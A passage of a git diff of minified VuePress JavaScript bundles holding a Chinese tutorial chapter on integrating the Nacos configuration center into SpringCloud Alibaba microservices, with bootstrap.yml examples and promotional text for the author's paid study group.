"),a("h2",{attrs:{id:"nacos配置中心概念"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#nacos配置中心概念"}},[t._v("#")]),t._v(" Nacos配置中心概念")]),t._v(" "),a("table",[a("thead",[a("tr",[a("th",[t._v("核心概念")]),t._v(" "),a("th",[t._v("中文说明")]),t._v(" "),a("th",[t._v("概念说明")])])]),t._v(" "),a("tbody",[a("tr",[a("td",[t._v("Namespace")]),t._v(" "),a("td",[t._v("命名空间")]),t._v(" "),a("td",[t._v("主要用于不同环境下的配置隔离,不同的环境会被划分到不同的命名空间中。")])]),t._v(" "),a("tr",[a("td",[t._v("Group")]),t._v(" "),a("td",[t._v("配置分组")]),t._v(" "),a("td",[t._v("主要用于将不同的微服务划分到同一个分组中。通常情况下,会将组成整体项目的各个微服务的配置统一划分到同一个分组中。")])]),t._v(" "),a("tr",[a("td",[t._v("Data ID")]),t._v(" "),a("td",[t._v("配置集 ID")]),t._v(" "),a("td",[t._v("通常情况下,在系统中,一个配置文件就是一个配置集,在这个配置文件中,能够包含系统各个方面的配置信息。配置集ID就是某个配置集的ID,也就是系统中某个配置文件的ID。")])])])]),t._v(" "),a("p",{attrs:{align:"right"}},[a("font",{attrs:{size:"1"}},[t._v("更多概念请参见:https://nacos.io/zh-cn/docs/concepts.html")])],1),t._v(" "),a("p",[a("strong",[t._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),t._v(" "),a("p",[a("strong",[t._v("另外,一不小心就写了21章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),t._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[t._v("#")]),t._v(" 关于星球")]),t._v(" "),a("p",[t._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[t._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),t._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),t._v(" "),a("p",[t._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),t._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[t._v("#")]),t._v(" 星球提供的服务")]),t._v(" "),a("p",[t._v("冰河整理了星球提供的一些服务,如下所示。")]),t._v(" "),a("p",[t._v("加入星球,你将获得:")]),t._v(" "),a("p",[t._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),t._v(" "),a("p",[t._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),t._v(" "),a("p",[t._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),t._v(" "),a("p",[t._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),t._v(" "),a("p",[t._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),t._v(" "),a("p",[t._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),t._v(" "),a("p",[t._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),t._v(" "),a("p",[t._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),t._v(" "),a("p",[t._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),t._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[t._v("#")]),t._v(" 星球门票价格")]),t._v(" "),a("p",[t._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),t._v(" "),a("p",[a("strong",[t._v("特别提醒:")]),t._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),t._v(" "),a("p",[t._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[t._v("冰河技术")]),t._v(" 公众号回复 “ "),a("strong",[t._v("星球")]),t._v(" ” ,领取入场优惠券。")]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),t._v(" "),a("p",[a("strong",[t._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),t._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[t._v("#")]),t._v(" 写在最后")]),t._v(" "),a("blockquote",[a("p",[t._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[t._v("冰河技术")]),t._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),t._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=s.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-334.js b/assets/js/cg-334.js index d43dd4e0d6ff98dfd17c3c995ae19c07aca22386..8adf8f988e3102888e3d9208cafed75facf8ab14 100644 --- a/assets/js/cg-334.js +++ b/assets/js/cg-334.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[334],{623:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第22章-服务配置-项目整合nacos配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第22章-服务配置-项目整合nacos配置中心"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第22章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念。接下来,我们就正式在项目中整合Nacos配置中心。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-012.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("注意:本章中在测试每个案例时,都需要启动Nacos,Sentinel,ZipKin和RocketMQ。另外,本章对应的Nacos配置(冰河亲测的Nacos配置)放在了项目源码的doc/nacos/config/chapter22目录下,小伙伴们将Nacos的配置直接导入到Nacos的配置列表中,也可以按照文章自己手动实现。本项目完整源码加入 冰河技术 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"环境准备"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#环境准备"}},[s._v("#")]),s._v(" 环境准备")]),s._v(" "),a("p",[s._v("分别在用户微服务shop-user,商品微服务shop-product,订单微服务shop-order和网关服务shop-gateway中的pom.xml文件中添加如下依赖。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-nacos-config"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("h2",{attrs:{id:"服务整合nacos配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#服务整合nacos配置中心"}},[s._v("#")]),s._v(" 服务整合Nacos配置中心")]),s._v(" "),a("p",[s._v("这里,我们将用户微服务,商品微服务,订单微服务和网关服务的配置信息都放在Nacos中。")]),s._v(" "),a("p",[a("strong",[s._v("注意:将微服务的配置放在Nacos中时,就暂时不用微服务中的application.yml配置文件了,而是在项目中新建一个bootstrap.yml文件。因为配置文件的优先级从高到低依次为:bootstrap.properties -> bootstrap.yml -> application.properties -> application.yml。")])]),s._v(" "),a("h3",{attrs:{id:"用户微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#用户微服务整合配置中心"}},[s._v("#")]),s._v(" 用户微服务整合配置中心")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的resources目录下新建bootstrap.yml文件,文件内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)启动Nacos,在浏览器中输入"),a("code",[s._v("http://localhost:8848/nacos")]),s._v("并登录Nacos,选择Nacos菜单中的配置管理-配置列表,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-001","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-001.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)点击配置列表界面中的 "),a("strong",[s._v("+")]),s._v(" ,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-002","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-002.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点开后的界面如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-003","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-003.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("其中各个配置项的含义如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("Data ID就是配置集ID,通常情况下就是某个配置文件的ID,这个ID的命名遵循一定的规则,如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.application.name}")]),s._v("-"),a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.profiles.active}")]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token variable"}},[s._v("${spring.cloud.nacos.config.file-extension}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("这里,对应到用户微服务的Data ID就是:"),a("code",[s._v("server-user-dev.yaml")]),s._v("。所以,对于用户微服务来说,我们在Data ID中输入server-user-dev.yaml。")]),s._v(" "),a("ul",[a("li",[s._v("Group:配置分组,配置分组要与"),a("code",[s._v("spring.cloud.nacos.config.group")]),s._v("对应,用户微服务的配置分组就是user_group。")]),s._v(" "),a("li",[s._v("描述:对当前配置的简单描述。例如,用户微服务的开发环境配置。")]),s._v(" "),a("li",[s._v("配置格式:表示配置内容所使用的文件格式,这里我们选择YAML格式。")]),s._v(" "),a("li",[s._v("配置内容:配置文件的内容,这里我们直接将application.yml文件的内容复制进去即可。")])]),s._v(" "),a("p",[s._v("配置好之后的内容如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-004","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-004.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("配置好之后点击页面的发布按钮,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("发布成功后会跳转到配置管理-配置列表界面,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)注释掉用户微服务shop-user的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("p",[s._v("至此,就完成了修改用户微服务的配置操作。")]),s._v(" "),a("h3",{attrs:{id:"商品微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#商品微服务整合配置中心"}},[s._v("#")]),s._v(" 商品微服务整合配置中心")]),s._v(" "),a("p",[s._v("修改商品微服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在商品微服务shop-product的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("product\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" product_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉商品微服务shop-product的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合配置中心"}},[s._v("#")]),s._v(" 订单微服务整合配置中心")]),s._v(" "),a("p",[s._v("修改订单微服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-order的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在Nacos中的配置信息如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)注释掉订单微服务shop-order的resources目录下的application.yml文件中的内容(重要,不要忘记)")]),s._v(" "),a("h3",{attrs:{id:"网关服务整合配置中心"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#网关服务整合配置中心"}},[s._v("#")]),s._v(" 网关服务整合配置中心")]),s._v(" "),a("p",[s._v("修改网关服务的配置过程与修改用户微服务的配置过程类似,只是部分配置项不同。")]),s._v(" "),a("p",[s._v("(1)在网关服务shop-gateway的resources目录下新建bootstrap.yml文件,内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("gateway\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("allow-bean-definition-overriding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token 